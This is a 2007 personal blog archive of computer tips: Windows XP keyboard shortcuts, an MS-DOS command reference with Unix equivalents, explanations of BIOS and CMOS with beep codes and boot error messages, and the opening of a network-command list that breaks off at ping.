*myblog 分享。。。

I am a non-DSLR member。。。Motorola ZN5 is my photograph gadget。。。

Archive for the ‘Computer’ Category

Keyboard 上的秘密。。。

without comments

你是Win XP用戶的話,你一定會想要看此文章‧很實用‧

****红色字的,是个人觉得常会用到的。****

一般鍵盤快速鍵
CTRL+C (複製)
CTRL+X (剪下)
CTRL+V (貼上)
CTRL+Z (復原)
DELETE (刪除)
SHIFT+DELETE (永久刪除所選項目,不再將此項目放入 [資源回收筒] 中)
拖曳某項目時同時按 CTRL (複製所選的項目)
拖曳某項目時同時按 CTRL+SHIFT (建立一個指向所選項目的快速鍵)
F2 鍵 (重新命名所選項目)
CTRL + 向右鍵 (將游標移到下一個字的開頭)
CTRL + 向左鍵 (將游標移到上一個字的開頭)

CTRL + 向下鍵 (將游標移到下一段的開頭)

CTRL + 向上鍵 (將游標移到上一段的開頭)

CTRL+SHIFT 再加上任何箭號 (反白一段文字)

SHIFT 再加上任何箭號 (在視窗中或桌面上選取多個項目,或是在文件中選取文字)

CTRL+A (全選)

F3 鍵 (搜尋檔案或資料夾)

ALT+ENTER (檢視所選項目的內容)

ALT+F4 (關閉使用中的項目,或結束使用中的程式)

ALT+ENTER (顯示所選物件的內容)

ALT + 空格鍵 (開啟使用中視窗的快速鍵功能表)

CTRL+F4 (在可讓您同時開啟多份文件的程式中關閉使用中的文件)

ALT+TAB (在開啟的項目之間做切換)

ALT+ESC (依開啟項目的順序之間輪流顯示項目)

F6 鍵 (在視窗中或桌面上的畫面元素之間循環移動)

F4 鍵 (在 [我的電腦] 或 [Windows 檔案總管] 中顯示 [網址] 列的清單)

SHIFT+F10 (顯示所選項目的快速鍵功能表)

ALT + 退格鍵 (顯示使用中視窗的 [系統] 功能表)

CTRL+ESC (顯示 [開始] 功能表)

ALT + 功能表名稱中的底線字母 (顯示相對應的功能表)

開啟的功能表上的命令名稱中的底線字母 (執行相對應的命令)

F10 鍵 (啟用使用中程式的功能表列)

向右鍵 (向右開啟下一個功能表,或是開啟子功能表)

向左鍵 (向左開啟下一個功能表,或是關閉子功能表)

F5 鍵 (更新使用中的視窗)

退格鍵 (在 [我的電腦] 或 [Windows 檔案總管] 中檢視上一層資料夾)

ESC (取消目前的工作)

當您將 CD-ROM 插入 CD-ROM 光碟機時按 SHIFT 鍵 (避免 CD-ROM 自動播放)

對話方塊的鍵盤快速鍵

CTRL+TAB (在標籤之間向前移動)

CTRL+SHIFT+TAB (在標籤之間向後移動)

TAB (在選項之間向前移動)

SHIFT+TAB (在選項之間向後移動)

ALT + 底線字母 (執行相對應的命令,或是選取相對應的選項)

ENTER (執行使用中選項或按鈕的命令)

空格鍵 (如果使用中的選項是核取方塊,按此鍵可選取或清除核取方塊)

箭號按鍵 (如果使用中的選項是一群選項按鈕,按箭號按鍵可選取按鈕)

F1 鍵 (顯示 [說明])

F4 鍵 (顯示使用中清單的項目)

退格鍵 (如果在 [另存新檔] 或 [開啟舊檔] 對話方塊中選取了某個資料夾,按此鍵可開啟上一層資料夾)

Microsoft 自然鍵盤快速鍵

Windows 標誌 (顯示或隱藏 [開始] 功能表)

Windows 標誌 + BREAK (顯示 [系統內容] 對話方塊)

Windows 標誌 + D (顯示桌面)

Windows 標誌 + M (將所有視窗縮到最小)

Windows 標誌 + SHIFT + M (還原縮小的視窗)

Windows 標誌 + E (開啟 [我的電腦])

Windows 標誌 + F (搜尋檔案或資料夾)

CTRL + Windows 標誌 + F (搜尋電腦)

Windows 標誌 + F1 (顯示 [Windows 說明])

Windows 標誌 + L (鎖住鍵盤)

Windows 標誌 + R (開啟 [執行] 對話方塊)

Windows 標誌 + U (開啟「公用程式管理員」)

協助工具鍵盤快速鍵

按右邊的 SHIFT 八秒鐘 (將 [篩選鍵] 切換為開或關)

左邊的 ALT + 左邊的 SHIFT + PRINT SCREEN (將 [高對比] 切換為開或關)

左邊的 ALT + 左邊的 SHIFT + NUM LOCK (將 [滑鼠鍵] 切換為開或關)

按 SHIFT 鍵五次 (將 [相黏鍵] 切換為開或關)

按 NUM LOCK 鍵五秒鐘 (將 [切換鍵] 切換為開或關)

Windows 標誌 + U (開啟「公用程式管理員」)

Windows 檔案總管鍵盤快速鍵

END (顯示使用中視窗的底部)

HOME (顯示使用中視窗的頂端)

NUM LOCK + 星號 (*) (顯示所選資料夾下的所有子資料夾)

NUM LOCK + 加號 (+) (顯示所選資料夾的內容)

NUM LOCK + 減號 (-) (摺疊所選的資料夾)

向左鍵 (如果目前選取的項目是展開的,就將它摺疊起來,或是選取上層目錄)

向右鍵 (如果目前選取的項目是摺疊起來的,就將它展開,或是選取第一個子資料夾)

字元對應表的快速鍵按鍵

當您在某個字元的方格上連按兩下之後,您可以使用鍵盤快速鍵在方格之間移動:
向右鍵 (向右移動或移到下一行的開頭)

向左鍵 (向左移動或移到上一行的尾端)

向上鍵 (向上移一列)

向下鍵 (向下移一列)

PAGE UP (一次向上移動一個畫面)

PAGE DOWN (一次向下移動一個畫面)

HOME (移到一行的開頭)

END (移到一行的結尾)

CTRL+HOME (移到第一個字元)

CTRL+END (移到最後一個字元)

空格鍵 (選取了某個字元時,在 [放大] 與 [標準] 模式之間切換)

Microsoft Management Console (MMC) 主視窗鍵盤快速鍵

CTRL+O (開啟儲存的主控台)

CTRL+N (開啟新的主控台)

CTRL+S (儲存開啟的主控台)

CTRL+M (新增或移除主控台項目)

CTRL+W (開啟新的視窗)

F5 鍵 (更新所有主控台視窗的內容)

ALT + 空格鍵 (顯示 MMC 視窗功能表)

ALT+F4 (關閉主控台)

ALT+A (顯示 [執行] 功能表)

ALT+V (顯示 [檢視] 功能表)

ALT+F (顯示 [檔案] 功能表)

ALT+O (顯示 [我的最愛] 功能表)

MMC 主控台視窗鍵盤快速鍵

CTRL+P (列印目前的頁面或使用中的窗格)

ALT + 減號 (-) (顯示使用中主控台視窗的視窗功能表)

SHIFT+F10 (顯示所選項目的 [動作] 快速鍵功能表)

F1 鍵 (如果有,就開啟所選項目的 [說明] 主題)

F5 鍵 (更新所有主控台視窗的內容)

CTRL+F10 (將使用中的主控台視窗放到最大)

CTRL+F5 (還原使用中的主控台視窗)

ALT+ENTER (如果有,就顯示所選項目的 [內容] 對話方塊)

F2 鍵 (重新命名所選項目)

CTRL+F4 (關閉使用中的主控台視窗。如果主控台中只有一個主控台視窗,此按鍵快速鍵會關閉主控台)

遠端桌面連線導覽

CTRL+ALT+END (開啟 Microsoft Windows NT [安全性] 對話方塊)

ALT+PAGE UP (由左至右在程式之間切換)

ALT+PAGE DOWN (由右至左在程式之間切換)

ALT+INSERT (依最近使用的順序在程式之間循環移動)

ALT+HOME (顯示 [開始] 功能表)

CTRL+ALT+BREAK (在視窗與全螢幕之間切換用戶端電腦)

ALT+DELETE (顯示 Windows 功能表)

CTRL + ALT + 減號 (-) (將用戶端中的作用視窗的快照放在「終端機」伺服器的剪貼簿上,並讓您在本機電腦上按 PRINT SCREEN 時得到相同的功能。)

CTRL + ALT + 加號 (+) (將用戶端視窗整個區域的快照放在「終端機」伺服器的剪貼簿上,並讓您在本機電腦上按 ALT+PRINT SCREEN 時得到相同的功能。)

Microsoft Internet Explorer 導覽

CTRL+B (開啟 [組織我的最愛] 對話方塊)

CTRL+E (開啟 [搜尋] 列)

CTRL+F (啟動 [尋找] 公用程式)

CTRL+H (開啟 [記錄] 列)

CTRL+I (開啟 [我的最愛] 列)

CTRL+L (開啟 [開啟] 對話方塊)

CTRL+N (以相同的網址啟動另一個瀏覽器執行個體)

CTRL+O (開啟 [開啟] 對話方塊,和 CTRL+L 一樣)

CTRL+P (開啟 [列印] 對話方塊)

CTRL+R (更新目前的網頁)

CTRL+W (關閉目前的視窗)

Written by khee

November 14, 2007 at 6:34 am

Posted in Computer

MS Dos Commands

without comments

Commands

append

(External)

Display or sets the search path for data files. DOS will search the specified path(s) if the file is not found in the current path.

append ;
append [d:]path[;][d:]path[...]
append [/X:on|off][/E]

attrib

Change or view the attributes of one or more files. It defaults to displaying the attributes of all files in the current directory.

Options:

  • To add an attribute attach a ‘+’ in front of it.
  • To remove an attribute attach a ‘-’ in front of it
  • Attributes include
    • R – Read-only
    • A – Archive
    • S – System
    • H – Hidden
attrib [+|-ahrs] [filespec]
Roughly equivalent to the Unix command chmod. In Linux, the command chattr also performs similar functions.

cd or chdir

Change current directory.
cd directory
Equivalent to the Unix command cd (with parameters), or pwd (without parameters). (cd .. descends a directory.)

chkdsk

Verifies a hard disk or a floppy disk for file system integrity.

Options:

  • /F : Fixes errors on the disk
  • /V : Displays the full path and name of every file on the disk
  • /P : Forces a full disk verification
  • /R : Searches for defective sectors and recovers legible information (applies /F)
chkdsk drive [[path]filename] [/F] [/V]
Equivalent to the Unix command fsck

cls

Clears the screen.
cls
Equivalent to the Unix command clear.

copy

Copies files from one location to another. The destination defaults to the current directory. If multiple source files are indicated, the destination must be a directory, or an error will result.
copy filespec [destination]
Equivalent to the Unix command cp.

Files may be copied to devices (e.g. “copy file lpt1″ would send the file to the printer on lpt1. “copy file con” would output to screen, which would be the same as type.

Most useful to note that “copy file.txt+file2.txt file_cat.txt” will concatenate the files and output them as file_cat.txt. Which is just like the “cat” command.

When using this command to concatenate files there are two switches to modify its behaviour:

copy /a alpha.txt + beta.txt gamma.txt

Text mode – which will copy the text content of the file, stopping when it reaches the EOF character.

copy /b alpha.mpg + beta.mpg gamma.mpg

Binary mode – which will concatenate files in their entirety, ignoring EOF characters.

Equivalent in RT-11/RSX-11/OpenVMS operating systems line is copy command.

copy device

copy device filename
In this usage, data is written from the given device to the file until the end-of-file character (ASCII character 26, which may be typed as ctrl-Z) is encountered. The most commonly used device is named con, which is short for “console”; thus, copy con filename would allow the user to type directly into a file, and press ctrl-Z when finished.
In Unix, this functionality is provided by the cat command. cat > filename (with ctrl+D to finish) would be equivalent to the DOS command copy con filename.
Equivalent in RT-11/RSX-11/OpenVMS operating systems line is copy command.

defrag

Defragments disk drive
defrag driveletter
No Unix equivalent.
DR DOS equivalent was the diskopt command.

del or erase

[[Media::Deletes files.]]

del filename
erase filename
Equivalent to the Unix command rm.
Equivalint in RT-11/RSX-11/OpenVMS operating systems line is delete command which can be contracted to del.

deltree

Deletes a directory along with all of the files and subdirectories that it contains. Normally, it will ask for confirmation of such a drastic action.
deltree [/y] directory

The /y parameter, if present, tells the deltree command to carry out without first prompting for confirmation.

The deltree command is not included in recent Microsoft Windows operating systems. Deleting a non-empty directory in those versions of Windows where the command is not included, can be achieved by the use of the rmdir command as in the following example:

rmdir /s directory

In Unix, the functionality of deltree is provided by the rm command with the parameter -r (or -rf for the /y switch).

dir

Displays the contents of a directory.
dir [options] [filespec]

Basic options:

  • /W : Wide list format
  • /P : Pause at every page
  • /S : Also look in subdirectories
  • /A[xx] : Display files with the specified attributes only
  • /O[xx] : Modifies sort order
  • /B : Uses bare format (no heading information or summary)
Equivalent to the Unix command ls (the option -l is “long” list format, it works the opposite way from /w.)
Equivalent in RT-11/RSX-11/OpenVMS operating systems line is directory command which can be contracted to dir.

More options:

DIR [/A[[:]attributes]] [/B] [/C] [/D] [/L] [/N] [/O[[:]sortorder]] [/P] [/Q] [/S]
    [/T[[:]timefield]] [/W] [/X] [/4] [drive:][path][filename]

[drive:][path][filename] Specifies drive, directory, and/or files to list.

  • /A Displays files with specified attributes:
    • D Directories
    • R Read-only files
    • H Hidden files
    • A Files ready for archiving
    • S System files
    • - Prefix meaning not
  • /B Uses bare format (no heading information or summary).
  • /C[H] Displays file compression ratios on a compressed (DoubleSpace or DriveSpace)

volume. With the optional H, computes the ratio using the host drive’s cluster size.

  • /L Uses lowercase.
  • /O List by files in sorted order:
    • N By name (alphabetic)
    • S By size (smallest first)
    • E By extension (alphabetic)
    • D By date/time (oldest first)
    • G Group directories first
    • - Prefix to reverse order
  • /P Pauses after each screenful of information.
  • /S Displays files in specified directory and all subdirectories.
  • /T Controls which time field displayed or used for sorting:
    • C Creation
    • A Last Access
    • W Last Written
  • /W Uses wide list format.
  • /X This displays the short names generated for non-8dot3 file names. The format is that of /N with the short name inserted before the long name. If no short name is present, blanks are displayed in its place.
  • /4 Displays four-digit years

echo

Prints its own arguments back out to the DOS equivalent of the standard output stream. Usually, this means directly to the screen, but the output of echo can be redirected like any other command. Often used in batch files to print text out to the user.
echo this is text              Outputs 'this is text'
echo.                          Outputs a blank line
Another important use of the echo command is to toggle echoing of commands on and off in batch files.
echo on               turns on echoing of commands
echo off              turns off echoing of commands
Traditionally batch files begin with the @echo off statement. This says to the interpreter that echoing of commands should be off during the whole execution of the batch file thus resulting in a “tidier” output. The @ symbol declares that this particular command (echo off) should also be executed without echo. For example the following 2 batch files are equivalent:
Batch1.bat:
@echo off
echo The files in your root directory:
dir /b /a-d c:\
Batch2.bat:
@echo The files in your root directory:
@dir /b /a-d c:\
Echo can be used to write to files directly from the console, by redirecting the output stream:
echo text > filename
Echo can also be used to append to files directly from the console, again by redirecting the output stream:
echo text >> filename
To type more than one line from the console into a file, use copy con (above).
Equivalent to the Unix command echo.

exit

Exits the current command processor.
 EXIT
Exit also exists in Unix-shells.

fc

Compares two files or sets of files and displays the differences between them.
FC [/A] [/C] [/L] [/LBn] [/N] [/T] [/W] [/nnnn] [drive1:][path1]filename1 [drive2:][path2]filename2
FC /B [drive1:][path1]filename1 [drive2:][path2]filename2
 /A     Displays only first and last lines for each set of differences.
 /B     Performs a binary comparison.
 /C     Disregards the case of letters.
 /L     Compares files as ASCII text.
 /LBn   Sets the maximum consecutive mismatches to the specified number of lines.
 /N     Displays the line numbers on an ASCII comparison.
 /T     Does not expand tabs to spaces.
 /W     Compresses white space (tabs and spaces) for comparison.
 /nnnn  Specifies the number of consecutive lines that must match after a mismatch.
 [drive1:][path1]filename1      Specifies the first file or set of files to compare.
 [drive2:][path2]filename2      Specifies the second file or set of files to compare.
Equivalent to the Unix commands comm, cmp and diff.

fdisk

Manipulates hard disk partition tables. The name derives from IBM’s habit of calling hard drives fixed disks. When run from the command line, it displays a menu of various partitioning operations:
 1. Create DOS partition or Logical DOS Drive
 2. Set active partition
 3. Delete partition or Logical DOS Drive
 4. Display partition information
 5. Change current fixed disk drive
FDISK /MBR installs a standard master boot record on the hard drive.
Fdisk exists under Unix with the same name, but it is an entirely different program. However they share purposes.

find

A filter to find lines in the input data stream that contain or don’t contain a specified string and send these to the output data stream.
Find may also be used as a pipe.
find "keyword" < ''inputfilename'' > ''outputfilename''

Searches for a text string in a file or files.

FIND [/V] [/C] [/N] [/I] "string" [[drive:][path]filename[ ...]]

  /V        Displays all lines NOT containing the specified string.
  /C        Displays only the count of lines containing the string.
  /N        Displays line numbers with the displayed lines.
  /I        Ignores the case of characters when searching for the string.
  "string"  Specifies the text string to find.
  [drive:][path]filename Specifies a file or files to search.

If a pathname is not specified, FIND searches the text typed at the prompt
or piped from another command.
Equivalent to the Unix command grep. The Unix command find performs an entirely different function; see tree.

format

Delete all the files on the disk and reformat it for MS-DOS
In most cases, this should only be used on floppy drives or other removable media. This command can potentially erase everything on a computer’s hard disk.
/autotest and /backup are undocumented features. Both will format the drive without a confirmation prompt.
format [options] drive
FORMAT drive: [/V[:label]] [/Q] [/F:size] [/B | /S] [/C]
FORMAT drive: [/V[:label]] [/Q] [/T:tracks /N:sectors] [/B | /S] [/C]
FORMAT drive: [/V[:label]] [/Q] [/1] [/4] [/B | /S] [/C]
FORMAT drive: [/Q] [/1] [/4] [/8] [/B | /S] [/C]
 /V[:label]  Specifies the volume label.
 /Q          Performs a quick format.
 /F:size     Specifies the size of the floppy disk to format (such
             as 160, 180, 320, 360, 720, 1.2, 1.44, 2.88).
 /B          Allocates space on the formatted disk for system files.
 /S          Copies system files to the formatted disk.
 /T:tracks   Specifies the number of tracks per disk side.
 /N:sectors  Specifies the number of sectors per track.
 /1          Formats a single side of a floppy disk.
 /4          Formats a 5.25-inch 360K floppy disk in a high-density drive.
 /8          Formats eight sectors per track.
 /C          Tests clusters that are currently marked "bad."

Known as a joke among UNIX users of that time since every user on the machine could easily cause damage with just one command. Therefore, it was known in the UNIX community as “The big DOS timesaver”.

Equivalent to the Unix command mkfs.
Equivalent in RT-11/RSX-11/OpenVMS operating systems line is format command which can not create filesystem. After formatting one should use initialize (contracted to init) command to create filesystem (equivalint to MS-DOS command format /q or “quick format”).

help

Gives help about DOS. (5.x and later)
help ‘command’ would give help on a specific command. By itself, it lists the contents of DOSHELP.HLP. Help for a specific command invokes the command with the /? option. In MS-DOS 6.x this command exists as FASTHELP.
MS-DOS 6.xx help command uses qbasic to view a quickhelp HELP.HLP file, which contains more extensive information on the commands, with some hyperlinking etc. The MS-DOS 6.22 help system is included on Windows 9x cdrom versions as well.
PC-DOS 7.xx help uses view.exe to open OS/2 style .INF files (cmdref.inf, dosrexx.inf and doserror.inf), opening these to the appropriate pages.
Windows NT, all versions, uses DOS 5 style help, but versions before VISTA have also a Windows help file (NTCMDS.HLP or NTCMDS.INF) in a similar style to MS-DOS 6.
Partially equivalent to the Unix command man.

InterSvr / InterLnk

MS-DOS 6 and above command used to network PCs using a null modem cable or LapLink cable. The server-side version of InterLnk, it also immobilizes the machine it’s running on as it’s an active app (As opposed to a TSR) which must be running for any transfer to take place. First appeared in PC-DOS 5.02.
No Unix equivalent.
DR DOS equivalent is filelink, which is executed on both the client and server.

label

Changes the label on a logical drive, such as a hard disk partition or a floppy disk.
In Unix and Unix-like systems, this differ from filesystem to filesystem. e2label can be used for ext2 partitions.

md or mkdir

Makes a new directory. The parent of the directory specified must already exist.
md directory
Equivalent to the Unix command mkdir.

mem

Displays memory usage.
mem
Equivalent to the Unix command free.

memmaker

Starting from version 6, MS-DOS included the external program MemMaker which was used to free system memory (especially Conventional memory) by automatically reconfiguring the Autoexec.bat and Config.sys files. This was usually done by moving TSR Programs to the Upper memory. The whole process required 3 system restarts. Before the first restart the user was asked whether he wanted to enable EMS Memory or not.
The use of MemMaker was popular among gamers who wanted to enable or disable Expanded memory in order to run a game which required EMS or not. The result would however not always be as good as if someone changing the settings himself.

Options :

  • /BATCH Runs MemMaker in batch (unattended) mode. In batch mode, MemMaker takes the default action at all prompts.
  • /UNDO Instructs MemMaker to undo its most recent changes.
PCDOS uses another program RamBoost to optimise memory, either the HIMEM/EMM386 or a third-party memory manager.

more

Pages through the output so that you can view more than one screen of text.
command | more
Equivalent to the Unix commands more and less.
More may also be used as a filter.
more < inputfilename

move

Moves files or renames directories.
move filename newname
move driveletter:\olddir driveletter:\newdir
Example: move c:\old c:\new
Equivalent to the Unix command mv.

msd

Main article: Microsoft Diagnostics

Provides detailed technical information about the computer’s hardware and software.
msd
The PC-DOS version of this command is QCONFIG.
No Unix equivalent, however in GNU/Linux similar type of information may be obtained from various text files in /proc directory.

pcpark

Parks the hard disk heads in order to enable safe shutdown; only used on early versions.
pcpark
No Unix equivalent.
MS-DOS 3.2 (and possibly others) used the command HHSET

rd or rmdir

Remove a directory, which must be empty of files for the command to succeed.
rd directory
Equivalent to the Unix command rmdir.

rem

Remark statement, normally used within a batch file. An alternative way not to run a specific statement in a batch file is creating a label that will never be used, ::.
On the command line, rem can also be used to create a zero length file by redirecting an empty remark statement to a filename.
rem > newfilename
Note that this works only for the old DOS and under Windows 9x. For Windows NT/2000/XP or later, to create a zero length file can be achieved using the type command.
type zerolengthfilename > zerolengthfilename
In Unix, the # sign can be used to start a comment; the zero-length file can be achieved using various methods, such as the touch command or dd.

ren

Renames a file. Unlike the move command, this command cannot be used to rename subdirectories, or rename files across drives.
ren filename newname

A more useful function of this command is to mass rename files by the use of wildcards. For example, the following command will change the extension of all files in the current directory from htm to html:

ren *.htm *.html
In Unix, this functionality of a simple move is provided by the mv command, while batch renames can be done using the rename command.
Equivalent in RT-11/RSX-11/OpenVMS operating systems line is rename command which can be contracted to ren.

scandisk

Disk diagnostic utility

Scandisk is a replacement for the chkdsk utility. Its primary advantages over chkdsk is that it is more reliable and has the ability to run a surface scan which finds and marks bad clusters on the disk. It is present on 16/32-bit MS-DOS-based versions of Windows like Windows 95, 98, 98SE, and Me. chkdsk has surface scan and bad cluster detection functionality built in on Windows NT based operating systems.

Equivalent to the Unix command fsck.

set

Sets environmental variables. See Environment variable.

sort

A filter to sort lines in the input data stream and send them to the output data stream.
sort < inputfilename > outputfilename
Equivalent to the Unix command sort.

time and date

Set/display the date and time
date
time
Equivalent to the Unix command date with the important difference that calling this from the command line or a bat script will cause the program to halt requesting a new time until RETURN is pressed. The command ‘time /t’ will bypass this set feature.

tree

Shows the directory tree of the current directory
Options:
/F (Displays the names of the files in each folder.)
/A (Use ASCII instead of the extended characters.)
/? (Shows the help)
tree [options] [directory]
Equivalent to the Unix command find.

truename

truename
        or
truename drivename
        or
truename filename
        or
truename pathname
If typed without a parameter then the current active drive pathname is displayed.
If typed with a parameter then the command outputs the entire path (full directory and filename) of the path or filename. For example, if the working drive and directory were C:\PROGRAMS and one typed truename fish<HARDDRIVE>, the output would be C:\PROGRAMS\FISH. This command also displays the UNC pathnames of mapped network or local CD drives.
This command is an undocumented DOS command.
This command is similar to the Unix which command, which, given an executable found in $PATH, would give a full path and name. The C library function realpath performs this function.

type

Display a file. The more command is frequently used in conjunction with this command, e.g. type long-text-file | more.
type filename
Equivalent to the Unix command cat.

undelete

Restores file previously deleted with del. By default all recoverable files in the working directory are restored. The options are used to change this behaviour. If the MS-DOS mirror TSR program is used, then deletion tracking files are created and can be used by undelete.

Options :

  • /list : lists the files that can be undeleted.
  • /all : Recovers all deleted files without prompting. Uses a number sign for missing first character.
  • /dos : Recover only MS-DOS aware files, ignore deletion tracking file.
  • /dt : Recover only deletion tracking file aware files.
undelete [filespec] [/list|/all][/dos|/dt]
In Unix and Unix-like systems this differ from filesystem to filesystem. e2undel can be used for ext2 users.

ver

Shows the version of MS-DOS you are using.
Some versions of MS-DOS support an undocumented /r switch, which will show the revision as well as the version.
ver [/r]
Roughly equivalent to the Unix command uname.

xcopy

Copy entire directory trees.
xcopy directory [destination-directory]
Equivalent to the Unix command cp.

Written by khee

November 14, 2007 at 2:02 am

Posted in Computer

BIOS是什么?

without comments


所谓BIOS,实际就是微机的基本输入输出系统(Basic Input-Output

System)其内容集成在微机主板上的一个ROM芯片上,主要保存着有关微机

系统最重要的基本输入输出程序,系统信息设置,开机上电自检程序和系

统启动自举程序等。

二、BIOS的功用

BIOS ROM芯片不但可以在主板上看到而且BIOS管理功能如何在很大程

度上决定了主板性能是否优越。BIOS管理功能主要包括:

1、BIOS中断服务程序

BIOS中断服务程序实质上是微机系统中软件与硬件之间的一个可编程

接口,主要用于程序软件功能与微机硬件之间实施衔接。如:DOS 和

WINDOWS操作系统中对软盘、硬盘、光驱、键盘、显示器等外设的管理,

都是直接建立在BIOS系统中断服务程序的基础上,而且操作人员也可以

通过访问INT 5、INT 13 等中断点而直接调用BIOS中断服务程序。

2、BIOS系统设置程序

微机部件配置记录是放在一块可读写的CMOS RAM芯片中的,主要保存

着系统基本情况,CPU特性、软硬盘驱动器显示器、键盘等部件的信息。

在BIOS的ROM芯片中装有“系统设置程序”,主要用来设置CMOS ROM中的

各项参数,这个程序在开机是按下“DEL”键即可进入设置状态,并供操

作人员使用,CMOS的RAM芯片中关于微机的配置信息不正确时,将导致系

统故障。

3、POST上电自检

微机接通电源后,系统首先由POST(Power On Self Test,上电自检)

程序来对内部各个设备进行检查。通常完整的POST自检将包括对CPU、640KB

基本内存,1MB以上的扩展内存、ROM主板、CMOS存储器、串并口、显卡、软

硬盘子系统及键盘进行测试,一旦在自检中发现问题,系统将给出提示信息

或鸣笛警告。

4、BIOS系统启动自举程序

系统在完成POST自检后,ROM BIOS就首先按照系统CMOS设置中保存的启

动顺序收寻软硬盘驱动器及CD-ROM、网络服务器等有效地启动驱动器,读入

操作系统引导记录,然后将系统控制权交给引导记录,并由引导记录来完成

系统的顺利启动。

Written by khee

November 7, 2007 at 6:58 am

Posted in Computer

CMOS是什么

without comments

CMOS是微机主板上的一块可读写的RAM芯片主要用来保存当前系统的硬件

配置和操作人员对某些参数的设定。CMOS RAM芯片由系统通过一块后备电池

供电,因此无论是在关机状态中,还是遇到系统掉电情况,CMOS信息都不会

丢失。由于CMOS ROM芯片本身只是一块存储器,只具有保存数据的功能,所

以对CMOS中各项参数的设定要通过专门的程序,现在多数厂家将CMOS设置程

序做到了BIOS芯片中,在开机时通过按下“DEL”键进入CMOS设置程序而方便

地对系统进行设置,因此CMOS设置又通常叫做BIOS设置。

四、BIOS设置和CMOS设置的区别和联系

BIOS是主板上的一块EPROM或EEROM芯片,里面装有系统的重要信息和设置

系统参数的设置程序(BIOS Setup程序);CMOS是主板上的一块可读写的RAM

芯片,里面装的是关于系统配置的具体参数,其内容可通过设置程序进行读写。

CMOS RAM芯片靠后备电池供电,即使系统掉电信息也不会丢失。BIOS与CMOS既

相关又不同:BIOS中的系统设置程序是完成CMOS参数设置的手段;CMOS RAM既

是BIOS设定系统参数的存放场所,又是BIOS设定系统参数的结果。因此完整的

说法是“通过BIOS设置程序对CMOS参数进行设置”。

五、何时要对BIOS或CMOS进行设置

1、新购微机

即使系统带有PnP功能,也只能识别一部分微机外设。而对软硬盘参数、日

期、时钟等基本资料还是必须有操作人员进行设置。

2、新增设备

由于系统不一定能认识新增的设备,所以必须通过CMOS设置来告诉它,另

外,一旦新增设备与原有设备之间发生了IRQ、DMA冲突,也往往需要通过BIOS设

置来进行排除。

3、CMOS数据意外丢失

在系统后备电池失效、病毒破坏了CMOS数据程序、意外清除了CMOS参数等情

况下,常常会造成CMOS数据意外丢失。此时需重新进行BIOS设置程序完成新的CMOS

参数设置。

4、系统优化

对于内存读写等待时间、硬盘数据传输模式内/外 Cache的使用、节能保

护、电源管理、开机启动顺序等参数、BIOS中预定的设置对系统而言不一定是

最优的,此时往往需要经过多次实验才能找到系统优化的最佳组合。

Written by khee

November 7, 2007 at 6:57 am

Posted in Computer

BIOS错误讯息教学

without comments

在开机时BIOS会自动侦查系统周边是否有错误的地方,
当侦测到有错误时,就会发出警示的声音或是显示错误
讯息来警告使用者。许多使用者遇到这些声音及讯息就
非常的紧张,以为电脑发生了什么事情,有鉴于此,特地
为电脑新手介绍这些声音及讯息所代表的意义。

(AMI BIOS)

声音次数 代表意义
1短声 (哔) 记忆体刷新错误(DRAM Flash Error)
2短声 (哔哔) 记忆体同位元检察失败(DRAM ECC Check Error)
3短声 (哔哔哔) 记忆体侦测失败(DRAM Detect Fail)
5短声 (哔哔哔哔哔) 处理器错误(CPU Error)
6短声 (哔哔哔哔哔哔) 键盘错误,通常是没插好(Keyboard Error)
8短声 (哔哔哔哔哔哔哔哔) 显示卡记忆体错误(Display card memory Error)
9短声 (哔哔哔哔哔哔哔哔哔) 唯读记忆体错误(ROM Error)
1长声3短声(哔–哔哔哔) 记忆体损坏(DRAM Damage)
1长声8短声(哔– 显示卡或荧幕连接错误(Display card or monitor
哔哔哔哔哔哔哔) connected error)

(Award BIOS)

声音次数 代表意义
1短声 (哔)系统正常启动 (System booting is normally)
2短声 (哔哔)CMOS设定错误 (CMOS setting error)
1长声1短声(哔–哔) (记忆体错误,通常是记忆体没装好(DRAM ERROR)
1长声2短声(哔–哔哔) (显示卡或荧幕连接错误(Display card or monitor
connected error)
1长声3短声(哔–哔哔哔) 键盘错误,通常是没插好(Keyboard Error)
1长声9短声(哔– 唯读记忆体错误(ROM Error)
哔哔哔哔哔哔哔哔)
连续长声(哔–。。。。) 记忆体损坏或没装好(DRAM hasn`t inset correctly)
连续短声(哔。。。。。。) 电源问题(Power supply has problem)

开机时荧幕显示错误讯息

NO ROM BASIC
执行FDISK指令将硬碟分割数个分割区后,却忘记设定
[开机分割区(Active partition)]重新开机,就会出现
上述错误讯息。

Non-system disk or disk error
当开机时出现这个讯息,表示该硬碟中并没有DOS的三个
开机档案[MS-DOS。SYS],[IO。SYS],[COMMAND。COM]
使得系统无法开机。此时只要以开机片重新开机,并执行
[SYS C:]指令,便能产生开机档案了。

CMOS battery failed
这个讯息表示CMOS的电池不足,只要更换就可以了。

CMOS checksum error-Defalts loaded
这个讯息表示CMOS在执行总和检查时发生错误,造成这个
讯息有许多情况,可能是BIOS的设定不正确,或是电池每电,
也有可能是CMOS记忆体发生问题了,若是CMOS记忆体的问题,
就要和主板说ByeBye了。(如果可以送产维修)

ERROR ENCOUNTRED INITIALIZING HARD DRIVE
此讯息表示硬碟无法成功驱动,此时你需要确实检查硬碟与
主机板之间的排线是否插好,或是硬碟的电源没接好。也可能
是两个硬碟的Jumper没调整好,检查BIOS中硬碟的参数设定
是否正确并从新开机即可。

Hard disk(s)diagnosis fail
此讯息表示硬碟可能损坏了。

keyboard error or no keyboard present
键盘没连接好,从新接上在从启电脑就可以了。
如果问题没解决可能是键盘损坏的原因。

Floppy disk(s)fail
检查软碟是否排线没插好或电源没接上,如果没装
软碟机的话就在BIOS中把其关闭就可以了。

Memory test fail
记忆体出现问题,检查是否已经损坏或接触不良。
有时拆出来清除记忆体的灰尘在插上,问题可能解决。

No partition boottable
硬碟还没有被格式化(Fdisk),Fdisk后便能解决问题。

Written by khee

November 7, 2007 at 6:01 am

Posted in Computer

网络管理员和网络技术人员常用的网络命令

without comments

了解和掌握下面几个命令将会有助于你更快地检测到网络 故障所在,从而节省时间,提高效率。

  1、ping 测试物理网络
  2、netstat
  3、地址解析协议(Address Resolution Protocol,ARP) 探测arp绑定(动态和静态)列表
  4、ipconfig
  5、netsh命令
  6、net命令
  7、nslookup
  8、telnet

了解和掌握下面几个命令将会有助于你更快地检测到网络 故障所在,从而节省时间,提高效率。

  1、ping 测试物理网络 ———–网管员必须掌握的

命令:ping 192.168.0.8 -t ,参数-t是等待用户去中断测试.-n 是发包的次数,-l 发送包的大小,
-a显示NetBios名 。
参数
·ping IP –t
